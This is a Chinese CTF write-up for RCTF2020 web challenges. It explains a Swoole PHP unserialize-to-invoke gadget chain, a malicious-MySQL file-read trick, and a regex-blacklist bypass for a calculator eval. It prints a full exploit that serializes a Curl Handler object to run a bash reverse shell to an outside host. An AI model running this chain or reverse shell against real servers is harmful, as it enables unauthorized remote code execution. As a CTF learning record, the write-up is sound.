RCTF2020 WEB WriteUP

5 道 Web,4 道 PHP,3 道 XSS,这就是 ROIS 吗?i 了 i 了

过于硬核,摸了摸了,师傅们 tql

记一下几个比较有意思的题的 wp

Swoole

首先,题目直接给了源码:

#!/usr/bin/env php
<?php
Swoole\Runtime::enableCoroutine($flags = SWOOLE_HOOK_ALL);
$http = new Swoole\Http\Server("0.0.0.0", 9501);
$http->on("request",
    function (Swoole\Http\Request $request, Swoole\Http\Response $response) {
        Swoole\Runtime::enableCoroutine();
        $response->header('Content-Type', 'text/plain');
        // $response->sendfile('/flag');
        if (isset($request->get['phpinfo'])) {
            // Prevent racing condition
            // ob_start();phpinfo();
            // return $response->end(ob_get_clean());
            return $response->sendfile('phpinfo.txt');
        }
        if (isset($request->get['code'])) {
            try {
                $code = $request->get['code'];
                if (!preg_match('/\x00/', $code)) {
                    $a = unserialize($code);
                    $a();
                    $a = null;
                }
            } catch (\Throwable $e) {
                var_dump($code);
                var_dump($e->getMessage());
                // do nothing
            }
            return $response->end('Done');
        }
        $response->sendfile(__FILE__);
    }
);
$http->start();

找了一下这个 Swoole 这个框架,据介绍是异步/协程的 PHP 开发框架,挺有意思的

注意到这个其实已经不是传统意义上的 PHP 了,和 node.js 很像

调试代码的环境也很好配,直接 docker pull phpswoole/swoole:4.4.18-php7.4 即可

而代码的漏洞点也是一眼就能看出来:

$code = $request->get['code'];
$a = unserialize($code);
$a();
$a = null;

那么就是一个裸的反序列化了,问题在于怎么找 gadget

其实注意到一点:

$a = unserialize($code);
$a();

$a() 也就是在传进去的 code 被反序列化过后被 invoke

第一想到的就是找有 __invoke 方法的类了,当然你在 Swoole 标准库里面怎么找都只有一个:ObjectProxy

仔细看看,这玩意其实没啥用,,,

抛开对象,还有一个 PHP 很鬼畜的特性,就是动态函数调用:

$a = "phpinfo";
$a(); // produce phpinfo output

但是看起来,PHP 中好像也没有啥无参函数可以有用

陷入僵局?刺激点来了:

class A {
    public function foo() {
        return "bar";
    }
}

$a = new A();
$arr = [$a, "foo"];
echo $arr(); // print "bar"

有没有发现 PHP 中数组也可以 invoke?并且你可以在第二项中传入想要调用的第一项中对象的方法(我恨 PHP)

那么攻击思路就很明显了,将一个对象和他的方法丢进数组,然后序列化丢过去就可以了。到这里,就剩下找啥 gadget 了

在读完了 phpinfo 和 swoole 的文档的每一个字以后,可以发现 PDOPool 这个类是可以利用的。看看官方文档怎么说的:

Coroutine\run(function () {
    $pool = new PDOPool((new PDOConfig)
        ->withHost('127.0.0.1')
        ->withPort(3306)
        // ->withUnixSocket('/tmp/mysql.sock')
        ->withDbName('test')
        ->withCharset('utf8mb4')
        ->withUsername('root')
        ->withPassword('root')
    );
    for ($n = N; $n--;) {
        Coroutine::create(function () use ($pool) {
            $pdo = $pool->get();
            $statement = $pdo->prepare('SELECT ? + ?');
            if (!$statement) {
                throw new RuntimeException('Prepare failed');
            }
            $a = mt_rand(1, 100);
            $b = mt_rand(1, 100);
            $result = $statement->execute([$a, $b]);
            if (!$result) {
                throw new RuntimeException('Execute failed');
            }
            $result = $statement->fetchAll();
            if ($a + $b !== (int)$result[0][0]) {
                throw new RuntimeException('Bad result');
            }
            $pool->put($pdo);
        });
    }
});

不妨魔改一下,然后搭环境试试:

Coroutine\run(function () {
    $pool = new PDOPool((new PDOConfig)
        ->withHost('xxx.xxx.xxx.xxx')
        ->withPort(3306)
        ->withDbName('test')
        ->withCharset('utf8mb4')
        ->withUsername('root')
        ->withPassword('root')
        ->withOptions([
             \PDO::MYSQL_ATTR_LOCAL_INFILE => 1,
             \PDO::MYSQL_ATTR_INIT_COMMAND => 'select 1'
        ])
    );
    $pool->get();
    // serialize($pool);
});

然后我们跑一下就可以发现这个 payload 完全可行,并且在 get 方法被调用的时候,就会发起对恶意 MySQL 的连接并成功偷文件了

但是当你准备 serialize($pool) 的时候,你就会发现他报错了(x

PHP Warning:  Uncaught exception 'Exception' with message 'Serialization of 'Swoole\Coroutine\Channel' is not allowed' in php shell code:xx

WTF???

其实这里就是卡住我时间最长的地方。在队友非预期解,拿到官方解之后才发现有一个讨巧的点:

ConnectionPool 中对 $pool 这个成员,即 Swoole\Coroutine\Channel 对象的操作,完全可以利用标准库 SplDoublyLinkedList 来替换,,,,,,

那么后面就没有啥要说的了,直接用反射把 $pool 对象中的 $pool 成员给替换成 new \SplDoublyLinkedList() 就行了,至于空字节的绕过,还是 p 牛的改成字符 00 来绕过

说完了官方解,说说非预期解:

因为知道了 PHP 的数组可以 invoke,那么 gadget 一下就多了起来。官方库里面还有一个对 cURL 封装的一个类 Swoole\Curl\Handler

注意方法 execute

// https://github.com/swoole/library/blob/master/src/core/Curl/Handler.php#L782
// L782 - L785
if ($client->body and $this->readFunction) {
    $cb = $this->readFunction;
    $cb($this, $this->outputStream, strlen($client->body))
}

回溯可以看到 $this->readFunction 完全可控,$this->outputStream 可以魔改源代码或者用反射来改也可控,那么也就是说找到一个参数表数量 <= 3 的函数传给 $cb 即可

这里我是真的太佩服师傅了,有个函数:array_walk

看一下如果 $cbarray_walk 会咋样:

array_walk($this, $this->xxx, xxx);

还差一点,因为 swlooe 把系统的 exec 给改成了 Swoole\Coroutine\System::exec,如果参数不对协程会直接退出,所以不能直接把第二个值赋成 exec,还需要再改一下:

class B{
    public $a = 123;
    public $exec = "sleep 5";
    public $c = "xxxx";

    public function __construct(){
        // $cb($this, $this->outputStream, strlen($client->body));
        array_walk($this, 'array_walk', 'xxxx');
    }
}

这样就可以执行命令了

完整的 EXP:

// Author: Wupco (http://www.wupco.cn/)

// https://github.com/swoole/library/blob/master/src/core/Curl/Handler.php#L309-L319
// delete(L309-L319) (bypass is_resource check) and change class name to Handlep
include('Handler.php');

// bypass %00
function process_serialized($serialized) {
        $new = '';
        $last = 0;
        $current = 0;
        $pattern = '#\bs:([0-9]+):"#';

        while(
            $current < strlen($serialized) &&
            preg_match(
                $pattern, $serialized, $matches, PREG_OFFSET_CAPTURE, $current
            )
        )
        {

            $p_start = $matches[0][1];
            $p_start_string = $p_start + strlen($matches[0][0]);
            $length = $matches[1][0];
            $p_end_string = $p_start_string + $length;

            # Check if this really is a serialized string
            if(!(
                strlen($serialized) > $p_end_string + 2 &&
                substr($serialized, $p_end_string, 2) == '";'
            ))
            {
                $current = $p_start_string;
                continue;
            }
            $string = substr($serialized, $p_start_string, $length);

            # Convert every special character to its S representation
            $clean_string = '';
            for($i=0; $i < strlen($string); $i++)
            {
                $letter = $string{$i};
                $clean_string .= ctype_print($letter) && $letter != '\\' ?
                    $letter :
                    sprintf("\\%02x", ord($letter));
                ;
            }

            # Make the replacement
            $new .= 
                substr($serialized, $last, $p_start - $last) .
                'S:' . $matches[1][0] . ':"' . $clean_string . '";'
            ;
            $last = $p_end_string + 2;
            $current = $last;
        }

        $new .= substr($serialized, $last);
        return $new;

}
$o = new Swoole\Curl\Handlep("http://baidu.com/");
$o->setOpt(CURLOPT_READFUNCTION,"array_walk");
$o->setOpt(CURLOPT_FILE, "array_walk");
$o->exec = array('/bin/bash -c "bash -i >& /dev/tcp/xxxxxxx/9999 0>&1"');
$o->setOpt(CURLOPT_POST,1);
$o->setOpt(CURLOPT_POSTFIELDS,"aaa");
$o->setOpt(CURLOPT_HTTPHEADER,["Content-type"=>"application/json"]);
$o->setOpt(CURLOPT_HTTP_VERSION,CURL_HTTP_VERSION_1_1);

$a = serialize([$o,'exec']);
echo str_replace("Handlep", "Handler", urlencode(process_serialized($a)));

弹到的 shell 还是 root 用户(x

calc

(写累了不想糊了)

有源码

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
    $str = $_GET['num'];
    $blacklist = ['[a-z]', '[\x7f-\xff]', '\s',"'", '"', '`', '\[', '\]','\$', '_', '\\\\','\^', ','];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/im', $str)) {
            die("what are you want to do?");
        }
    }
    @eval('echo '.$str.';');
}

又是喜闻乐见的计算器

讲个鬼故事:((1/0).(0))=INF((1/0).(0)){0}=I

我恨 PHP ++

那么后面就不用多说了吧,没有 ban |&,那么用与或运算打一个表出来就可以了

顺便后面还有个套娃题,还要 /readflag 来恶心人,把脚本一个字一个字写进文件,然后用 perl 脚本跑就可以了

总结

师傅们太强了!

我恨 PHP += 114514

2 条评论

发表回复

*

  • root用户这得怪Swoole了,其实我都没发现能RCE就没管是啥权限跑的。。。

    • root 用户跟 Swoole 没关系吧,主要是 RCE 非预期了,不过官方镜像确实是直接用 root 用户跑的

      (我是被出题人翻牌子了嘛,师傅 tql